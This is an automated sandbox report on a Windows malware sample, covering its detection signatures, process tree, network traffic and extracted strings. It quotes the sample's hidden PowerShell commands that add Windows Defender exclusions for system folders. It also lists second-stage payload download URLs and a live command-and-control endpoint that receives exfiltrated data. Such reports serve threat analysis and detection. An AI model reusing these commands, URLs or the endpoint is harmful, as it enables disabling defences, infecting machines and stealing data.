Edit tour

Windows Analysis Report
1feP5qTCl0.exe

Overview

General Information

Sample name:	1feP5qTCl0.exe renamed because original name is a hash value
Original sample name:	64aaffe3b4d705b9ddbce60e8fd8b9829c20438b8c68ae254e185c0f466e0265.exe
Analysis ID:	1499701
MD5:	a499c507987982c951093e21df0c0d96
SHA1:	fa1a7050198570e016fc4bf3ddd69160e05a8a38
SHA256:	64aaffe3b4d705b9ddbce60e8fd8b9829c20438b8c68ae254e185c0f466e0265
Tags:	45-125-66-18exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Stores large binary data to the registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

1feP5qTCl0.exe (PID: 6120 cmdline: "C:\Users\user\Desktop\1feP5qTCl0.exe" MD5: A499C507987982C951093E21DF0C0D96)

powershell.exe (PID: 6024 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5772 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6776 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 480 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4144 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1308 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4996 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rapnewsa.exe (PID: 6044 cmdline: C:\Reka\rapnewsa.exe MD5: 2D4E723C184D9403B078E53F2DE74A23)

WerFault.exe (PID: 3992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 56480 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\1feP5qTCl0.exe", ParentImage: C:\Users\user\Desktop\1feP5qTCl0.exe, ParentProcessId: 6120, ParentProcessName: 1feP5qTCl0.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 6024, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\1feP5qTCl0.exe", ParentImage: C:\Users\user\Desktop\1feP5qTCl0.exe, ParentProcessId: 6120, ParentProcessName: 1feP5qTCl0.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 6024, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Reka\rapnewsa.exe

Avira: detection malicious, Label: HEUR/AGEN.1315917

Multi AV Scanner detection for dropped file

Source: C:\Reka\rapnewsa.exe	ReversingLabs: Detection: 15%
Source: C:\Reka\rapnewsa.exe	Virustotal: Detection: 24%			Perma Link

Multi AV Scanner detection for submitted file

Source: 1feP5qTCl0.exe

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Reka\rapnewsa.exe

Joe Sandbox ML: detected

Source: C:\Reka\rapnewsa.exe	Code function: 19_2_00A41000 CryptUnprotectData,		19_2_00A41000
Source: C:\Reka\rapnewsa.exe	Code function: 19_2_00A41C40 CryptSignHashA,CryptUpdateProtectedState,WinHttpTimeFromSystemTime,		19_2_00A41C40

Source: unknown

HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.4:49740 version: TLS 1.2

Source: 1feP5qTCl0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A48D40 FindFirstFileW,FindNextFileW,FindClose,

19_2_00A48D40

Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Joe Sandbox View

JA3 fingerprint: 72a589da586844d7f0818ce684948eea

Source: global traffic

HTTP traffic detected: POST /api/receiver/recv HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48Content-Length: 3160Host: 45.125.66.18

Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/yjsefceawd.json HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/nepipirusas.json HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/raw/main/iconozave.exe HTTP/1.1Host: github.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/iconozave.exe HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Referer: https://github.com/workhasf/kelm/raw/main/iconozave.exeAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /get HTTP/1.1Host: httpbin.orgUser-Agent: Go-http-client/1.1Accept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org

Source: unknown

Source: rapnewsa.exe, 00000013.00000002.2038436475.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: rapnewsa.exe, 00000013.00000002.2038436475.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recv
Source: rapnewsa.exe, 00000013.00000002.2038436475.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recvS
Source: rapnewsa.exe, 00000013.00000002.2038436475.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recvz
Source: rapnewsa.exe, 00000013.00000002.2038436475.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/l9
Source: rapnewsa.exe, 00000013.00000002.2038436475.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18:443/api/receiver/recv
Source: 1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00020C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C000142000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C00000E000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C0000FC000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C00017C000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00020C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exe
Source: 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C00000E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exeC:
Source: 1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00020C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.comdefault-src
Source: 1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C000086000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2050263367.000000C00019A000.00000004.00001000.00020000.00000000.sdmp, 1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00027E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: 1feP5qTCl0.exe, 00000000.00000002.2050263367.000000C0001A6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.4:49740 version: TLS 1.2

Source: 1feP5qTCl0.exe

Binary or memory string: github.com/lxn/win.getRawInputData

Source: C:\Reka\rapnewsa.exe	Code function: 19_2_00A41470 NtQuerySystemInformation,OpenProcess,GetCurrentProcess,DuplicateHandle,GetFileType,CloseHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,FindCloseChangeNotification,	19_2_00A41470
Source: C:\Reka\rapnewsa.exe	Code function: 19_2_00A43D50 NtClose,NtClose,	19_2_00A43D50
Source: C:\Reka\rapnewsa.exe	Code function: 19_2_00A41610 NtQueryObject,NtQueryObject,	19_2_00A41610

Source: C:\Reka\rapnewsa.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 56480

Source: 1feP5qTCl0.exe

Static PE information: Number of sections : 15 > 10

Source: 1feP5qTCl0.exe	Static PE information: Section: /19 ZLIB complexity 0.9991581357758621
Source: 1feP5qTCl0.exe	Static PE information: Section: /32 ZLIB complexity 0.9933081454918032
Source: 1feP5qTCl0.exe	Static PE information: Section: /65 ZLIB complexity 0.9992535231210021
Source: 1feP5qTCl0.exe	Static PE information: Section: /78 ZLIB complexity 0.9908877648782687

Source: classification engine

Classification label: mal100.evad.winEXE@25/31@3/4

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

File created: C:\Users\user\Desktop\new_example.txt

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1800:120:WilError_03
Source: C:\Reka\rapnewsa.exe	Mutant created: \Sessions\1\BaseNamedObjects\082e2202-17f7-4654-a651-ac9a3778e1d7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxinlifc.kli.ps1

Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

File opened: C:\Windows\system32\83d23f67a6248ede6b2eccd5ae8fcac6e57d0b7d0fac7f974a81445ec731c106AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: 1feP5qTCl0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Reka\rapnewsa.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1feP5qTCl0.exe

Virustotal: Detection: 8%

Source: 1feP5qTCl0.exe	String found in binary or memory: failed to construct HKDF label: %sslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerunexpected runtime.netpoll error: crypto/rsa: missing public modulusadding nil Certificate to CertPoolx509: unknown public key algorithmx509: invalid certificate policies%s %q is excluded by constraint %qx509: Ed25519 verification failurex509: unhandled critical extensioncrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapinvalid padding bits in BIT STRINGGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizehttp: server closed idle connectionCONTINUATION frame with stream ID 02006-01-02T15:04:05.999999999Z07:00executable file not found in %PATH%network dropped connection on resettransport endpoint is not connectedSubscribeServiceChangeNotificationsreflect.MakeSlice of non-slice type1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKmime: bogus characters after %%: %qpersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=hpack: invalid Huffman-encoded datadynamic table size update too largefile type does not support deadlinebigmod: modulus is smaller than natx509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesscrypto/md5: invalid hash state sizetoo many Questions to pack (>65535)flate: corrupt input before offset '_' must separate successive digitsP224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitysuperfluous leading zeros in lengthchacha20: output smaller than inputtransform: short destination bufferAdd-MpPreference -ExclusionPath '%s'json: encoding error for type %q: %qhttp: unexpected EOF reading trailer LastStreamID=%v ErrCode=%v Debug=%qRoundTrip retrying after failure: %vno acceptable authentication methodsstrings.Builder.Grow: negative countstrings: Join output length overflowaccessing a corrupted shared libraryTime.UnmarshalBinary: invalid lengthmethod ABI and value ABI don't align444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzexp
Source: 1feP5qTCl0.exe	String found in binary or memory: failed to construct HKDF label: %sslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerunexpected runtime.netpoll error: crypto/rsa: missing public modulusadding nil Certificate to CertPoolx509: unknown public key algorithmx509: invalid certificate policies%s %q is excluded by constraint %qx509: Ed25519 verification failurex509: unhandled critical extensioncrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapinvalid padding bits in BIT STRINGGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizehttp: server closed idle connectionCONTINUATION frame with stream ID 02006-01-02T15:04:05.999999999Z07:00executable file not found in %PATH%network dropped connection on resettransport endpoint is not connectedSubscribeServiceChangeNotificationsreflect.MakeSlice of non-slice type1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKmime: bogus characters after %%: %qpersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=hpack: invalid Huffman-encoded datadynamic table size update too largefile type does not support deadlinebigmod: modulus is smaller than natx509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesscrypto/md5: invalid hash state sizetoo many Questions to pack (>65535)flate: corrupt input before offset '_' must separate successive digitsP224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitysuperfluous leading zeros in lengthchacha20: output smaller than inputtransform: short destination bufferAdd-MpPreference -ExclusionPath '%s'json: encoding error for type %q: %qhttp: unexpected EOF reading trailer LastStreamID=%v ErrCode=%v Debug=%qRoundTrip retrying after failure: %vno acceptable authentication methodsstrings.Builder.Grow: negative countstrings: Join output length overflowaccessing a corrupted shared libraryTime.UnmarshalBinary: invalid lengthmethod ABI and value ABI don't align444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzexp
Source: 1feP5qTCl0.exe	String found in binary or memory: C:/Program Files/Go/src/net/addrselect.go

Source: unknown	Process created: C:\Users\user\Desktop\1feP5qTCl0.exe "C:\Users\user\Desktop\1feP5qTCl0.exe"
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe
Source: C:\Reka\rapnewsa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 56480
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe	Jump to behavior

Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: umpdc.dll	Jump to behavior
